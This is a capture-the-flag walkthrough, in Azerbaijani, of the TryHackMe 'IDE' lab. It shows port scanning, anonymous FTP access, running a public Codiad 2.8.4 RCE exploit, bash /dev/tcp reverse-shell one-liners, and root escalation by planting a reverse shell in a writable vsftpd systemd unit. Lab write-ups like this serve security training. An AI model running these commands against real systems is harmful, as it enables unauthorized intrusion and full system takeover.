September 28, 2026
TryHackMe: IDE— Walkthrough
Bu məqalədə TryHackMe platformasındakı IDE labının həll prosesini addım-addım izah edəcəm.
By Gudrat Eyvazov
2 min read
Labın əsas məqsədi hədəf sistemdə ilkin giriş əldə etmək, sistem üzərində araşdırma aparmaq və privilege escalation vasitəsilə root səlahiyyətlərinə yüksəlməkdir.
Hədəf IP: 10.80.134.215
1. Port Scanning (Nmap)
İlk addım olaraq hədəf üzərində açıq portları tapmaq üçün tam port skan aparırıq:
nmap 10.80.134.215 -p- --open -T4nmap 10.80.134.215 -p- --open -T4Nəticədə açıq portları tapdıqdan sonra, həmin portlar üzərində daha detallı servis və versiya skanı aparırıq:
nmap 10.80.134.215 -p 21,22,80,62337 -A -oN Ide.txtnmap 10.80.134.215 -p 21,22,80,62337 -A -oN Ide.txt
Diqqətçəkən məqam: FTP servisində anonymous login aktiv idi (ftp-anon: Anonymous FTP login allowed (FTP code 230)).
2. FTP Enumerasiyası
Anonim girişi yoxlamaq üçün FTP-yə qoşuluruq:
ftp 10.80.134.215ftp 10.80.134.215Daxil olduqdan sonra qovluqda gizli bir alt-qovluq (... adlı) tapırıq, içində bir mətn faylı var:
cd ...
ls -la
get -cd ...
ls -la
get -
Bu qeyddən j*** istifadəçisinin mövcud olduğunu və onun parolunun default parol olaraq p******* olduğunu müəyyən edirik.
3. Codiad — RCE Zəifliyi
62337 portunda Codiad 2.8.4 ilə işləyən bir veb sayt olduğunu görürük. Bu versiyanın bilinən zəifliyi olub-olmadığını yoxlamaq üçün:
searchsploit codiad 2.8.4searchsploit codiad 2.8.4Nəticədə Codiad 2.8.4 — Remote Code Execution (Authenticated) aşkarlandı (multiple/webapps/49705.py). Exploiti lokal kopyalayırıq:
searchsploit -m 49705
python3 49705.py --helpsearchsploit -m 49705
python3 49705.py --help--help parametrindən istifadə edərək exploit-in qəbul etdiyi argumentləri və tələb olunan inputları öyrənirik.
FTP-dən əldə etdiyim melumatlari, j*** istifadəçisi ilə default parol olan p****** daxil edirik
Exploit mərhələsi
Exploiti işə salmazdan əvvəl, göstəriləcək portu başqa terminalda listenə başlayırıq:
nc -lvnp 4444nc -lvnp 4444Sonra exploiti icra edirik:
python3 49705.py http://Target ip:62337/ john password Kali ip (tun0) 4444 linuxpython3 49705.py http://Target ip:62337/ john password Kali ip (tun0) 4444 linuxTerminala əldə etdiyimiz shell interactive shell deyil.
bash -i >/dev/tcp/Kali(tun0 ip)/4445 0>&1 2>&1bash -i >/dev/tcp/Kali(tun0 ip)/4445 0>&1 2>&1Interactive shell əldə etmək üçün payload-da göstərilən port üzrə başqa bir terminalda listener açırıq və payload-da verilən komandanı mövcud shell üzərində icra edirik. Nəticədə bağlantı listener-ə yönləndirilir və interactive shell əldə edirik.
Shell gəldikdən sonra onu daha rahat istifadə üçün Spawing edirik :
python3 -c 'import pty; pty.spawn("/bin/bash")'python3 -c 'import pty; pty.spawn("/bin/bash")'4. drac İstifadəçisinə Keçid
www-data istifadəçisi kimi sistemi araşdırarkən, bash_history faylında d*** istifadəçisinə aid MySQL parolu tapırıq. Bu parol ile SSH ilə drac userinə giris edirik
ssh drac@TargetIPssh drac@TargetIP5. Privilege Escalation
Sudo icazələrini yoxlamaq
sudo -l
Neticədə
User drac may run the following commands on ide:
(ALL : ALL) /usr/sbin/service vsftpd restartsudo -l
Neticədə
User drac may run the following commands on ide:
(ALL : ALL) /usr/sbin/service vsftpd restartServis faylının icazələrini yoxlamaq
ls -la /lib/systemd/system/vsftpd.servicels -la /lib/systemd/system/vsftpd.serviceFayl d*** userinin yazma icazəsi var
Faylı redaktə etmək
nano /lib/systemd/system/vsftpd.servicenano /lib/systemd/system/vsftpd.serviceExecStart sətrini reverse shell payload-ı ilə əvəz edirik:
[Service]
Type=simple
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/kali(tun0 ip)/9999 0>&1'
ExecReload=/bin/kill -HUP $MAINPID
ExecStartPre=-/bin/mkdir -p /var/run/vsftpd/empty[Service]
Type=simple
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/kali(tun0 ip)/9999 0>&1'
ExecReload=/bin/kill -HUP $MAINPID
ExecStartPre=-/bin/mkdir -p /var/run/vsftpd/empty
Listenerə keçmək və restart etmək
Başqa terminalda Listene başlayırıq:
nc -lvnp 9999nc -lvnp 9999Sonra daemon-u yeniləyib servisi restart edirik:
sudo systemctl daemon-reload
sudo /usr/sbin/service vsftpd restartsudo systemctl daemon-reload
sudo /usr/sbin/service vsftpd restartnc terminalına root shell gəlir:
Root shell əldə etdikdən sonra son flaglar-ı tapıriq:
find / -type f -name "root.txt" 2>/dev/null
cat /root/root.txt
find / -type f -name "user.txt" 2>/dev/null
cat /homr/drac/user.txtfind / -type f -name "root.txt" 2>/dev/null
cat /root/root.txt
find / -type f -name "user.txt" 2>/dev/null
cat /homr/drac/user.txt